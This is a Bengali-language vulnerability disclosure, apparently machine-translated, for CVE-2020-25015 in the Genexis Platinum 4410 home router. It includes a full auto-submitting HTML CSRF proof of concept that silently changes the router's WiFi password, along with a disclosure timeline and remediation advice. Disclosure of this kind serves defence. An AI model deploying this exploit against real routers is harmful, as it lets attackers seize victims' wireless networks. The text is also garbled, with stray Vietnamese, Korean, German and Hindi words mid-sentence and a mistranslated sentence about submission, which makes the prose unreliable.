Genexis Platinum 4410 হোম রাউটার সংস্করণ 2.1 (সফটওয়্যার সংস্করণ P4410-V2-1.28) টেস্ট করার সময়, আমি দেখেছি যে রাউটারটি Broken Access Control এবং CSRF-এর জন্য দুর্বল।
CVE ID: CVE-2020-25015
সারসংক্ষেপ
Platinum 4410 হলো Genexis-এর একটি কম্প্যাক্ট রাউটার যা ঘরোয়া ব্যবহারে phổুল। হার্ডওয়্যার সংস্করণ V2.1 – সফটওয়্যার সংস্করণ P4410-V2-1.28 Broken Access Control এবং CSRF-এর জন্য দুর্বল পাওয়া গেলে, যেগুলো মিলিত হলে দূর থেকে WIFI অ্যাক্সেস পয়েন্টের পাসওয়ার্ড পরিবর্তন করা সম্ভব।
CSRF সম্পর্কে আরও জানতে এই আর্টিকেলটি দেখুন।
প্রভাব
এক আক্রমণকারী শিকারকে একটি লিংক পাঠাতে পারে, যা সে ক্লিক করলে যদি সে দুর্বল রাউটারের 의해 প্রতিষ্ঠিত WIFI নেটওয়ার্কের সাথে কানেক্টেড থাকে, তবে WIFI অ্যাক্সেস পয়েন্টের পাসওয়ার্ড CSRF এক্সপ্লয়েটের মাধ্যমে পরিবর্তন হয়ে যাবে। যেহেতু রাউটারও Broken Access Control-এর জন্য দুর্বল, শিকারকে রাউটারের ওয়েব-ভিত্তিক সেটআপ পেজ (192.168.1.1)-এ লগইন করা দরকার নেই, এটিকে Wesentlichen একটি वन-ক্লিক হ্যাক করে তোলে।
দুর্বলতা
আদর্শভাবে, এই আক্রমণ কষ্টদায়ক হতো কারণ একটি CSRF আক্রমণের সাফল্যের জন্য শিকারকে আক্রমণাধীন অ্যাপ্লিকেশনে (এই কেসে, 192.168.1.1-এ ওয়েব-ভিত্তিক সেটআপ পেজ) লগইন করা থাকতে হয় এবং অধিকাংশ রাউটার সেটআপ পেজ ইউজার সেশন অটোমেটিকালি এন্ড করে দেয়। এছাড়া, কাস্টমাররা খুব কমই তাদের রাউটারের সেটআপ পেজ ভিজিট করে। কিন্তু, রিপোর্টিংয়ের সময় ফার্মওয়্যারের সর্বশেষ সংস্করণে Broken Access Control দুর্বলতার কারণে, পাসওয়ার্ড পরিবর্তনের রিকোয়েস্ট অননুমোদিত পক্ষদ্বারাও পাঠানো যেতে পারে।
সেজন্য CSRF এবং Broken Access Control দুর্বলতাগুলো এই ফার্মওয়্যার সংস্করণে একসাথে থাকায়, একটি আক্রমণকারী নিচের কোডসহ একটি HTML ডকুমেন্ট তৈরি করতে পারে এবং ব্যবহারকারীকে সাবমিট করতে বাধা দিতে পারে।
<html> <body> <script>history.pushState('', '', '/')</script> <form action="https://192.168.1.1/cgi-bin/net-wlan.asp" method="POST"> <input type="hidden" name="wlEnbl" value="ON" /> <input type="hidden" name="hwlKeys0" value="" /> <input type="hidden" name="hwlKeys1" value="" /> <input type="hidden" name="hwlKeys2" value="" /> <input type="hidden" name="hwlKeys3" value="" /> <input type="hidden" name="hwlgMode" value="9" /> <input type="hidden" name="hwlAuthMode" value="WPAPSKWPA2PSK" /> <input type="hidden" name="hwlEnbl" value="1" /> <input type="hidden" name="hWPSMode" value="1" /> <input type="hidden" name="henableSsid" value="1" /> <input type="hidden" name="hwlHide" value="0" /> <input type="hidden" name="isInWPSing" value="0" /> <input type="hidden" name="WpsConfModeAll" value="7" /> <input type="hidden" name="WpsConfModeNone" value="0" /> <input type="hidden" name="hWpsStart" value="0" /> <input type="hidden" name="isCUCSupport" value="0" /> <input type="hidden" name="SSIDPre" value="N/A" /> <input type="hidden" name="bwControlhidden" value="0" /> <input type="hidden" name="ht_bw" value="1" /> <input type="hidden" name="wlgMode" value="b,g,n" /> <input type="hidden" name="wlChannel" value="0" /> <input type="hidden" name="wlTxPwr" value="1" /> <input type="hidden" name="wlSsidIdx" value="0" /> <input type="hidden" name="SSID_Flag" value="0" /> <input type="hidden" name="wlSsid" value="JINSON" /> <input type="hidden" name="wlMcs" value="33" /> <input type="hidden" name="bwControl" value="1" /> <input type="hidden" name="giControl" value="1" /> <input type="hidden" name="enableSsid" value="on" /> <input type="hidden" name="wlAssociateNum" value="32" /> <input type="hidden" name="wlSecurMode" value="WPAand11i" /> <input type="hidden" name="wlPreauth" value="off" /> <input type="hidden" name="wlNetReauth" value="1" /> <input type="hidden" name="wlWpaPsk" value="NEWPASSWORD" /> <input type="hidden" name="cb_enablshowpsw" value="on" /> <input type="hidden" name="wlWpaGtkRekey" value="" /> <input type="hidden" name="wlRadiusIPAddr" value="" /> <input type="hidden" name="wlRadiusPort" value="" /> <input type="hidden" name="wlRadiusKey" value="" /> <input type="hidden" name="wlWpa" value="TKIPAES" /> <input type="hidden" name="wlKeyBit" value="64" /> <input type="hidden" name="wlKeys" value="" /> <input type="hidden" name="wlKeys" value="" /> <input type="hidden" name="wlKeys" value="" /> <input type="hidden" name="wlKeys" value="" /> <input type="hidden" name="WpsActive" value="0" /> <input type="hidden" name="wpsmode" value="ap-pbc" /> <input type="hidden" name="pinvalue" value="" /> <input type="hidden" name="Save_Flag" value="1" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html>
যতক্ষণ শিকারটি প্রভাবিত রাউটারের দ্বারা প্রতিষ্ঠিত WiFi অ্যাক্সেস পয়েন্টের সাথে কানেক্টেড থাকে, ততক্ষণ অ্যাক্সেস পয়েন্টের পাসওয়ার্ড নিচের ভিডিওতে দেখানো মতো পরিবর্তন হয়ে যাবে।
সময়রেখা
- দুর্বলতা Genexis টিমকে রিপোর্ট করা হয়েছে অগাস্ট ২৮, ২০২০
- টিম ফিক্সসহ ফার্মওয়্যার রিলিজ নিশ্চিত করেছে সেপ্টেম্বর ১৪, ২০২০
সুপারিশ
- Genexis টিম অনুযায়ী, কাস্টমাররা তাদের ISP-এর সাথে যোগাযোগ করবেন সর্বশেষ ফার্মওয়্যার পাওয়ার জন্য।
- আপনি যদি ফার্মওয়্যার আপগ্রেড করতে না পারেন, তবে একটি আরও সুরক্ষিত রাউটার ব্যবহার করুন।
রেফারেন্স
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-25015
- https://nvd.nist.gov/vuln/detail/CVE-2020-25015